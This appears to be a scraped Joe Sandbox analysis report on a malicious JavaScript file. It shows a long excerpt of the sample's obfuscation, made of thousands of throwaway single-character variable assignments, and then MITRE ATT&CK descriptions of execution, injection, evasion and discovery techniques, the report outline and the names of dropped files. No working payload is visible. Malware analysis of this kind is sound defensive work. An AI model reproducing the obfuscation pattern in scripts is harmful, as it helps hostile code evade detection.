584	qfjfgg = "W";
585	qfjfgg = "C";
586	qfjfgg = "n";
587	qfjfgg = "K";
588	qfjfgg = "C";
589	qfjfgg = "o";
590	qfjfgg = "b";
591	qfjfgg = "J";
592	qfjfgg = "F";
593	qfjfgg = "p";
594	fvakjs = "j";
595	apbkcudxd = "e";
596	apbkcudxd = "m";
597	apbkcudxd = "w";
598	apbkcudxd = "C";
599	apbkcudxd = "N";
600	apbkcudxd = "Q";
601	apbkcudxd = "p";
602	apbkcudxd = "M";
603	apbkcudxd = "u";
604	apbkcudxd = "V";
605	apbkcudxd = "H";
606	apbkcudxd = "l";
607	apbkcudxd = "h";
608	apbkcudxd = "M";
609	apbkcudxd = "W";
610	apbkcudxd = "r";
611	apbkcudxd = "z";
612	apbkcudxd = "B";
613	apbkcudxd = "h";
614	apbkcudxd = "b";
615	apbkcudxd = "X";
616	apbkcudxd = "3";
617	drsdowru = "Y";
618	drsdowru = "w";
619	drsdowru = "B";
620	drsdowru = "Q";
621	drsdowru = "c";
622	drsdowru = "U";
623	drsdowru = "e";
624	drsdowru = "E";
625	drsdowru = "y";
626	drsdowru = "b";
627	drsdowru = "x";
628	drsdowru = "l";
629	drsdowru = "E";
630	drsdowru = "A";
631	drsdowru = "R";
632	drsdowru = "f";
633	drsdowru = "O";
634	drsdowru = "J";
635	drsdowru = "H";
636	drsdowru = "f";
637	drsdowru = "b";
638	drsdowru = "f";
639	drsdowru = "e";
640	drsdowru = "g";
641	drsdowru = "P";
642	drsdowru = "t";
643	drsdowru = "L";
644	drsdowru = "t";
645	drsdowru = "M";
646	drsdowru = "B";
647	drsdowru = "m";
648	drsdowru = "Y";
649	drsdowru = "0";
650	gigdozkxr = "c";
651	gigdozkxr = "u";
652	gigdozkxr = "N";
653	gigdozkxr = "C";
654	gigdozkxr = "B";
655	gigdozkxr = "U";
656	gigdozkxr = "w";
657	gigdozkxr = "l";
658	lefqgo = "s";
659	lefqgo = "C";
660	lefqgo = "e";
661	lefqgo = "u";
662	lefqgo = "y";
663	lefqgo = "e";
664	lefqgo = "U";
665	lefqgo = "a";
666	lefqgo = "V";
667	lefqgo = "g";
668	lefqgo = "y";
669	lefqgo = "P";
670	lefqgo = "L";
671	lefqgo = "n";
672	lefqgo = "H";
673	lefqgo = "T";
674	lefqgo = "G";
675	lefqgo = "O";
676	lefqgo = "D";
677	lefqgo = "E";
678	lefqgo = "o";
679	lefqgo = "j";
680	lefqgo = "M";
681	lefqgo = "U";
682	lefqgo = "e";
683	lefqgo = "N";
684	lefqgo = "x";
685	lefqgo = "g";
686	lefqgo = "O";
687	lefqgo = "C";
688	lefqgo = "m";
689	lefqgo = "r";
690	lefqgo = "n";
691	lefqgo = "w";
692	lefqgo = "g";
693	lefqgo = "C";
694	lefqgo = "w";
695	lefqgo = "u";
696	lefqgo = "h";
697	lefqgo = "x";
698	lefqgo = "n";
699	yyjmwyn = "Z";
700	yyjmwyn = "U";
701	yyjmwyn = "A";
702	yyjmwyn = "c";
703	yyjmwyn = "f";
704	yyjmwyn = "s";
705	yyjmwyn = "o";
706	yyjmwyn = "r";
707	yyjmwyn = "l";
708	yyjmwyn = "C";
709	yyjmwyn = "b";
710	yyjmwyn = "M";
711	yyjmwyn = "f";
712	yyjmwyn = "p";
713	yyjmwyn = "Q";
714	yyjmwyn = "w";
715	yyjmwyn = "u";
716	yyjmwyn = "B";
717	yyjmwyn = "w";
718	yyjmwyn = "Q";
719	yyjmwyn = "u";
720	yyjmwyn = "Q";
721	yyjmwyn = "x";
722	yyjmwyn = "V";
723	yyjmwyn = "r";
724	yyjmwyn = "u";
725	yyjmwyn = "m";
726	yyjmwyn = "k";
727	yyjmwyn = "p";
728	yyjmwyn = "C";
729	yyjmwyn = "G";
730	yyjmwyn = "T";
731	yyjmwyn = "P";
732	yyjmwyn = "P";
733	yyjmwyn = "%";
734	fkmyx = "T";
735	fkmyx = "U";
736	fkmyx = "A";
737	fkmyx = "f";
738	fkmyx = "X";
739	fkmyx = "a";
740	fkmyx = "G";
741	fkmyx = "L";
742	fkmyx = "t";
743	fkmyx = "z";
744	fkmyx = "h";
745	fkmyx = "n";
746	fkmyx = "N";
747	fkmyx = "m";
748	fkmyx = "h";
749	fkmyx = "I";
750	fkmyx = "n";
751	fkmyx = "r";
752	fkmyx = "b";
753	fkmyx = "f";
754	fkmyx = "f";
755	fkmyx = "z";
756	fkmyx = "R";
757	fkmyx = "l";
758	fkmyx = "Q";
759	fkmyx = "a";
760	fkmyx = "I";
761	fkmyx = "e";
762	fkmyx = "G";
763	fkmyx = "o";
764	fkmyx = "I";
765	fkmyx = "G";
766	fkmyx = "d";
767	fkmyx = "L";
768	fkmyx = "H";
769	fkmyx = "r";
770	fkmyx = "z";
771	fkmyx = "M";
772	fkmyx = "o";
773	fkmyx = "I";
774	fkmyx = "d";
775	fkmyx = "X";
776	fkmyx = "E";
777	fkmyx = "U";
778	fkmyx = "1";
779	jjpulsar = "e";
780	jjpulsar = "H";
781	jjpulsar = "K";
782	jjpulsar = "J";
783	jjpulsar = "e";
784	jjpulsar = "D";
785	jjpulsar = "u";
786	jjpulsar = "u";
787	jjpulsar = "u";
788	jjpulsar = "O";
789	jjpulsar = "G";
790	jjpulsar = "S";
791	jjpulsar = "P";
792	jjpulsar = "4";
793	aibmymsjj = "R";
794	aibmymsjj = "n";
795	aibmymsjj = "t";
796	aibmymsjj = "v";
797	aibmymsjj = "h";
798	aibmymsjj = "y";
799	aibmymsjj = "I";
800	aibmymsjj = "D";
801	aibmymsjj = "G";
802	aibmymsjj = "Z";
803	aibmymsjj = "u";
804	aibmymsjj = "K";
805	aibmymsjj = "C";
806	aibmymsjj = "l";
807	aibmymsjj = "G";
808	aibmymsjj = "k";
809	aibmymsjj = "s";
810	aibmymsjj = "w";
811	aibmymsjj = "H";
812	aibmymsjj = "j";
813	aibmymsjj = "o";
814	aibmymsjj = "k";
815	aibmymsjj = "v";
816	aibmymsjj = "v";
817	aibmymsjj = "x";
818	aibmymsjj = "r";
819	aibmymsjj = "I";
820	aibmymsjj = "r";
821	aibmymsjj = "M";
822	aibmymsjj = "x";
823	aibmymsjj = "b";
824	aibmymsjj = "l";
825	aibmymsjj = "V";
826	aibmymsjj = "a";
827	aibmymsjj = "C";
828	owzjtd = "G";
829	owzjtd = "F";
830	owzjtd = "D";
831	owzjtd = "b";
832	owzjtd = "d";
833	owzjtd = "c";
834	owzjtd = "Z";
835	owzjtd = "B";
836	owzjtd = "I";
837	owzjtd = "k";
838	owzjtd = "s";
839	owzjtd = "q";
840	owzjtd = "J";
841	owzjtd = "S";
842	owzjtd = "S";
843	owzjtd = "f";
844	whcpfq = "b";
845	whcpfq = "u";
846	whcpfq = "I";
847	whcpfq = "k";
848	whcpfq = "k";
849	whcpfq = "v";
850	whcpfq = "c";
851	whcpfq = "v";
852	whcpfq = "s";
853	whcpfq = "z";
854	whcpfq = "p";
855	whcpfq = "d";
856	whcpfq = "I";
857	whcpfq = "G";
858	whcpfq = "f";
859	whcpfq = "m";
860	whcpfq = "e";
861	whcpfq = "B";
862	whcpfq = "k";
863	whcpfq = "x";
864	whcpfq = "g";
865	whcpfq = "E";
866	whcpfq = "t";
867	whcpfq = "s";
868	whcpfq = "c";
869	whcpfq = "M";
870	whcpfq = "M";
871	whcpfq = "j";
872	whcpfq = "U";
873	whcpfq = "f";
874	whcpfq = "q";
875	whcpfq = "a";
876	whcpfq = "I";
877	whcpfq = "P";
878	xfqlbwsa = "B";
879	xfqlbwsa = "G";
880	xfqlbwsa = "K";
881	xfqlbwsa = "F";
882	xfqlbwsa = "s";
883	xfqlbwsa = "k";
884	xfqlbwsa = "s";
885	xfqlbwsa = "n";
886	xfqlbwsa = "a";
887	xfqlbwsa = "J";
888	xfqlbwsa = "m";
889	xfqlbwsa = "m";
890	xfqlbwsa = "j";
891	xfqlbwsa = "j";
892	xfqlbwsa = ".";
893	fviqzmne = "N";
894	fviqzmne = "n";
895	fviqzmne = "w";
896	fviqzmne = "g";
897	fviqzmne = "u";
898	fviqzmne = "e";
899	fviqzmne = "c";
900	fviqzmne = "e";
901	fviqzmne = "l";
902	fviqzmne = "p";
903	fviqzmne = "N";
904	fviqzmne = "e";
905	fviqzmne = "v";
906	fviqzmne = "f";
907	fviqzmne = "L";
908	fviqzmne = "r";
909	fviqzmne = "l";
910	fviqzmne = "E";
911	fviqzmne = "n";
912	fviqzmne = "h";
913	fviqzmne = "i";
914	kdcmha = "H";
915	kdcmha = "I";
916	kdcmha = "v";
917	kdcmha = "q";
918	kdcmha = "Q";
919	kdcmha = "u";
920	kdcmha = "U";
921	kdcmha = "Z";
922	kdcmha = "L";
923	kdcmha = "h";
924	kdcmha = "f";
925	kdcmha = "N";
926	kdcmha = "S";
927	kdcmha = "d";
928	kdcmha = "a";
929	kdcmha = "K";
930	kdcmha = "d";
931	kdcmha = "D";
932	kdcmha = "u";
933	kdcmha = "h";
934	kdcmha = "A";
935	kdcmha = "M";
936	kdcmha = "N";
937	kdcmha = "Z";
938	kdcmha = "f";
939	kdcmha = "g";
940	kdcmha = "o";
941	kdcmha = "Y";
942	kdcmha = "D";
943	kdcmha = "J";
944	kdcmha = "T";
945	dbmgrojqj = "k";
946	dbmgrojqj = "w";
947	dbmgrojqj = "s";
948	dbmgrojqj = "X";
949	dbmgrojqj = "j";
950	dbmgrojqj = "Y";
951	dbmgrojqj = "K";
952	dbmgrojqj = "p";
953	dbmgrojqj = "G";
954	dbmgrojqj = "F";
955	dbmgrojqj = "X";
956	dbmgrojqj = "T";
957	dbmgrojqj = "Y";
958	dbmgrojqj = "g";
959	dbmgrojqj = "p";
960	dbmgrojqj = "&";
961	bmzusqdj = "J";
962	bmzusqdj = "y";
963	bmzusqdj = "i";
964	bmzusqdj = "i";
965	bmzusqdj = "O";
966	bmzusqdj = "X";
967	bmzusqdj = "y";
968	bmzusqdj = "H";
969	bmzusqdj = "F";
970	bmzusqdj = "z";
971	bmzusqdj = "b";
972	bmzusqdj = "z";
973	bmzusqdj = "u";
974	bmzusqdj = "Y";
975	bmzusqdj = "O";
976	bmzusqdj = "W";
977	bmzusqdj = "O";
978	bmzusqdj = "L";
979	bmzusqdj = "f";
980	bmzusqdj = "V";
981	bmzusqdj = "x";
982	bmzusqdj = "u";
983	bmzusqdj = "k";
984	bmzusqdj = "m";
985	bmzusqdj = "V";
986	bmzusqdj = "H";
987	bmzusqdj = "k";
988	bmzusqdj = "F";
989	bmzusqdj = "K";
990	bmzusqdj = "F";
991	bmzusqdj = "M";
992	bmzusqdj = "a";
993	bmzusqdj = "F";
994	bmzusqdj = "Q";
995	bmzusqdj = "w";
996	kfoiwlh = "s";
997	kfoiwlh = "t";
998	kfoiwlh = "C";
999	kfoiwlh = "M";
1000	kfoiwlh = "S";
1001	kfoiwlh = "k";
1002	kfoiwlh = "X";
1003	kfoiwlh = "d";
1004	kfoiwlh = "K";
1005	nynjh = "I";
1006	nynjh = "Y";
1007	nynjh = "p";
1008	nynjh = "L";
1009	nynjh = "Z";
1010	nynjh = "Y";
1011	nynjh = "c";
1012	nynjh = "z";
1013	nynjh = "o";
1014	nynjh = "n";
1015	nynjh = "F";
1016	nynjh = "D";
1017	nynjh = "p";
1018	nynjh = "m";
1019	nynjh = "Q";
1020	nynjh = "t";
1021	nynjh = "c";
1022	nynjh = "o";
1023	nynjh = "g";
1024	nynjh = "f";
1025	nynjh = "N";
1026	nynjh = "q";
1027	pntii = "q";
1028	pntii = "O";
1029	pntii = "g";
1030	pntii = "t";
1031	pntii = "v";
1032	pntii = "n";
1033	pntii = "a";
1034	pntii = "T";
1035	pntii = "I";
1036	pntii = "U";
1037	pntii = "q";
1038	pntii = "N";
1039	pntii = "E";
1040	pntii = "i";
1041	pntii = "M";
1042	pntii = "r";
1043	pntii = "H";
1044	pntii = "h";
1045	pntii = "E";
1046	pntii = "i";
1047	pntii = "K";
1048	pntii = "g";
1049	pntii = "S";
1050	pntii = "m";
1051	pntii = "V";
1052	pntii = "N";
1053	pntii = "q";
1054	pntii = "r";
1055	pntii = "I";
1056	pntii = "w";
1057	pntii = "j";
1058	pntii = "N";
1059	pntii = "b";
1060	pntii = "N";
1061	pntii = "i";
1062	pntii = "i";
1063	pntii = "d";
1064	pntii = "D";
1065	pntii = "j";
1066	pntii = "Q";
1067	hkeuvi = "r";
1068	hkeuvi = "d";
1069	hkeuvi = "w";
1070	hkeuvi = "z";
1071	hkeuvi = "l";
1072	hkeuvi = "S";
1073	hkeuvi = "G";
1074	hkeuvi = "X";
1075	hkeuvi = "I";
1076	hkeuvi = "z";
1077	hkeuvi = "x";
1078	hkeuvi = "Y";
1079	hkeuvi = "i";
1080	hkeuvi = "w";
1081	hkeuvi = "v";
1082	hkeuvi = "r";
1083	hkeuvi = "S";
1084	hkeuvi = "T";
1085	hkeuvi = "B";
1086	hkeuvi = "Y";
1087	hkeuvi = "d";
1088	hkeuvi = "v";
1089	hkeuvi = "i";
1090	hkeuvi = "E";
1091	hkeuvi = "f";
1092	hkeuvi = "Q";
1093	hkeuvi = "b";
1094	hkeuvi = "A";
1095	hkeuvi = "v";
1096	hkeuvi = "\"";
1097	iefmb = "P";
1098	iefmb = "l";
1099	iefmb = "I";
1100	iefmb = "L";
1101	iefmb = "r";
1102	iefmb = "u";
1103	iefmb = "x";
1104	iefmb = "B";
1105	iefmb = "Y";
1106	iefmb = "g";
1107	iefmb = "8";
1108	zojrsnj = "u";
1109	zojrsnj = "R";
1110	zojrsnj = "l";
1111	zojrsnj = "d";
1112	ibavjujqp = "O";
1113	ibavjujqp = "Z";
1114	ibavjujqp = "e";
1115	ibavjujqp = "C";
1116	ibavjujqp = "w";
1117	ibavjujqp = "e";
1118	ibavjujqp = "P";
1119	ibavjujqp = "q";
1120	ibavjujqp = "D";
1121	ibavjujqp = "m";
1122	ibavjujqp = "z";
1123	ibavjujqp = "Q";
1124	ibavjujqp = "x";
1125	ibavjujqp = "g";
1126	ibavjujqp = "G";
1127	ibavjujqp = "F";
1128	ibavjujqp = "P";
1129	ibavjujqp = "A";
1130	ibavjujqp = "Y";
1131	ibavjujqp = "A";
1132	ibavjujqp = "f";
1133	ibavjujqp = "z";
1134	ibavjujqp = "z";
1135	ibavjujqp = "K";
1136	ibavjujqp = "T";
1137	ibavjujqp = "s";
1138	ibavjujqp = "E";
1139	ibavjujqp = "Y";
1140	ibavjujqp = "q";
1141	ibavjujqp = "X";
1142	ibavjujqp = "m";
1143	ibavjujqp = "W";
1144	ibavjujqp = "h";
1145	ibavjujqp = "c";
1146	ibavjujqp = "u";
1147	ibavjujqp = "E";
1148	ibavjujqp = "L";
1149	bthzzuhw = "A";
1150	bthzzuhw = "W";
1151	bthzzuhw = "P";
1152	bthzzuhw = "E";
1153	bthzzuhw = "D";
1154	bthzzuhw = "v";
1155	bthzzuhw = "j";
1156	bthzzuhw = "m";
1157	bthzzuhw = "m";
1158	bthzzuhw = "D";
1159	bthzzuhw = "y";
1160	bthzzuhw = "L";
1161	bthzzuhw = "X";
1162	bthzzuhw = "i";
1163	bthzzuhw = "Q";
1164	bthzzuhw = "L";
1165	bthzzuhw = "w";
1166	bthzzuhw = "A";
1167	bthzzuhw = "R";
1168	bthzzuhw = "A";
1169	bthzzuhw = "i";
1170	bthzzuhw = "f";
1171	bthzzuhw = "w";
1172	bthzzuhw = "f";
1173	bthzzuhw = "E";
1174	bthzzuhw = "w";
1175	bthzzuhw = "L";
1176	bthzzuhw = "S";
1177	bthzzuhw = "d";
1178	bthzzuhw = "N";
1179	bthzzuhw = "G";
1180	bthzzuhw = "z";
1181	bthzzuhw = "U";
1182	bthzzuhw = "U";
1183	bthzzuhw = "k";
1184	deuffcxwz = "k";
1185	deuffcxwz = "j";
1186	deuffcxwz = "G";
1187	deuffcxwz = "U";
1188	deuffcxwz = "F";
1189	deuffcxwz = "g";
1190	deuffcxwz = "S";
1191	deuffcxwz = "R";
1192	deuffcxwz = "h";
1193	deuffcxwz = "t";
1194	deuffcxwz = "d";
1195	deuffcxwz = "L";
1196	deuffcxwz = "y";
1197	deuffcxwz = "S";
1198	xelpwuvw = "R";
1199	xelpwuvw = "i";
1200	xelpwuvw = "P";
1201	xelpwuvw = "y";
1202	xelpwuvw = "p";
1203	xelpwuvw = "n";
1204	xelpwuvw = "U";
1205	xelpwuvw = "Z";
1206	xelpwuvw = "E";
1207	xelpwuvw = "T";
1208	xelpwuvw = "v";
1209	xelpwuvw = "c";
1210	xelpwuvw = "b";
1211	xelpwuvw = "o";
1212	nxptk = "S";
1213	nxptk = "g";
1214	nxptk = "Q";
1215	nxptk = "M";
1216	nxptk = "u";
1217	nxptk = "R";
1218	nxptk = "G";
1219	nxptk = "A";
1220	nxptk = "X";
1221	nxptk = "T";
1222	nxptk = "y";
1223	nxptk = "E";
1224	nxptk = "D";
1225	nxptk = "B";
1226	nxptk = "X";
1227	nxptk = "Q";
1228	nxptk = "D";
1229	nxptk = "Z";
1230	nxptk = "K";
1231	nxptk = "k";
1232	nxptk = "h";
1233	nxptk = "N";
1234	nxptk = "s";
1235	xgpskrqe = "F";
1236	xgpskrqe = "i";
1237	xgpskrqe = "S";
1238	xgpskrqe = "F";
1239	xgpskrqe = "D";
1240	xgpskrqe = "f";
1241	xgpskrqe = "e";
1242	xgpskrqe = "s";
1243	xgpskrqe = "x";
1244	xgpskrqe = "q";
1245	xgpskrqe = "A";
1246	xgpskrqe = "t";
1247	xgpskrqe = "E";
1248	xgpskrqe = "v";
1249	xgpskrqe = "t";
1250	xgpskrqe = "M";
1251	xgpskrqe = "Z";
1252	xgpskrqe = "T";
1253	xgpskrqe = "f";
1254	xgpskrqe = "S";
1255	xgpskrqe = "I";
1256	xgpskrqe = "f";
1257	xgpskrqe = "g";
1258	xgpskrqe = "9";
1259	jkvjbzrgb = "g";
1260	jkvjbzrgb = "V";
1261	jkvjbzrgb = "U";
1262	jkvjbzrgb = "H";
1263	jkvjbzrgb = "E";
1264	jkvjbzrgb = "p";
1265	jkvjbzrgb = "D";
1266	jkvjbzrgb = "Z";
1267	jkvjbzrgb = "N";
1268	jkvjbzrgb = "v";
1269	jkvjbzrgb = "p";
1270	jkvjbzrgb = "s";
1271	jkvjbzrgb = "Y";
1272	jkvjbzrgb = "d";
1273	jkvjbzrgb = "v";
1274	jkvjbzrgb = "g";
1275	jkvjbzrgb = "d";
1276	jkvjbzrgb = "v";
1277	jkvjbzrgb = "n";
1278	jkvjbzrgb = "i";
1279	jkvjbzrgb = "n";
1280	jkvjbzrgb = "N";
1281	jkvjbzrgb = "w";
1282	jkvjbzrgb = "c";
1283	jkvjbzrgb = "q";
1284	jkvjbzrgb = "l";
1285	jkvjbzrgb = "I";
1286	jkvjbzrgb = "M";
1287	jkvjbzrgb = "g";
1288	jkvjbzrgb = "F";
1289	jkvjbzrgb = "J";
1290	jkvjbzrgb = "C";
1291	jkvjbzrgb = "L";
1292	jkvjbzrgb = "i";
1293	jkvjbzrgb = "l";
1294	jkvjbzrgb = "5";
1295	zsukzu = "k";
1296	zsukzu = "J";
1297	zsukzu = "l";
1298	zsukzu = "w";
1299	zsukzu = "J";
1300	zsukzu = "Y";
1301	zsukzu = "j";
1302	zsukzu = "T";
1303	zsukzu = "w";
1304	zsukzu = "Q";
1305	zsukzu = "j";
1306	zsukzu = "u";
1307	zsukzu = "C";
1308	zsukzu = "I";
1309	zsukzu = "h";
1310	zsukzu = "\\";
1311	lzvkh = "o";
1312	lzvkh = "R";
1313	lzvkh = "E";
1314	vxdkcmw = "v";
1315	vxdkcmw = "b";
1316	vxdkcmw = "H";
1317	vxdkcmw = "z";
1318	vxdkcmw = "G";
1319	vxdkcmw = "v";
1320	vxdkcmw = "z";
1321	vxdkcmw = "x";
1322	vxdkcmw = "j";
1323	vxdkcmw = "Y";
1324	vxdkcmw = "6";
1325	uaxtgvvj = "t";
1326	uaxtgvvj = "u";
1327	uaxtgvvj = "X";
1328	uaxtgvvj = "g";
1329	uaxtgvvj = "j";
1330	uaxtgvvj = "h";
1331	uaxtgvvj = "s";
1332	uaxtgvvj = "Y";
1333	uaxtgvvj = "a";
1334	uaxtgvvj = "f";
1335	uaxtgvvj = "h";
1336	uaxtgvvj = "N";
1337	mfbmvojf = "T";
1338	mfbmvojf = "k";
1339	mfbmvojf = "r";
1340	mfbmvojf = "b";
1341	mfbmvojf = "S";
1342	mfbmvojf = "W";
1343	mfbmvojf = "n";
1344	mfbmvojf = "F";
1345	mfbmvojf = "S";
1346	mfbmvojf = "I";
1347	mfbmvojf = "A";
1348	mfbmvojf = "F";
1349	mfbmvojf = "s";
1350	mfbmvojf = "R";
1351	mfbmvojf = "A";
1352	mfbmvojf = "q";
1353	mfbmvojf = "d";
1354	mfbmvojf = "D";
1355	mfbmvojf = "n";
1356	mfbmvojf = "x";
1357	mfbmvojf = "U";
1358	mfbmvojf = "E";
1359	mfbmvojf = "o";
1360	mfbmvojf = "F";
1361	wdpwg = "H";
1362	wdpwg = "T";
1363	wdpwg = "p";
1364	wdpwg = "Y";
1365	wdpwg = "B";
1366	wdpwg = "s";
1367	wdpwg = "q";
1368	wdpwg = "r";
1369	wdpwg = "W";
1370	wdpwg = "x";
1371	wdpwg = "u";
1372	wdpwg = "Z";
1373	wdpwg = "q";
1374	wdpwg = "v";
1375	wdpwg = "E";
1376	wdpwg = "k";
1377	wdpwg = "J";
1378	wdpwg = "Y";
1379	wdpwg = "Q";
1380	wdpwg = "l";
1381	wdpwg = "K";
1382	wdpwg = "p";
1383	wdpwg = "P";
1384	wdpwg = "C";
1385	wdpwg = "b";
1386	wdpwg = "b";
1387	wdpwg = "z";
1388	wdpwg = "r";
1389	wdpwg = "n";
1390	wdpwg = "x";
1391	wdpwg = "c";
1392	wdpwg = "V";
1393	wdpwg = "w";
1394	wdpwg = "v";
1395	uyjhi = "D";
1396	uyjhi = "t";
1397	uyjhi = "d";
1398	uyjhi = "z";
1399	uyjhi = "A";
1400	uyjhi = "m";
1401	knabhjphz ( );	knabhjphz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2486775641261320080.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

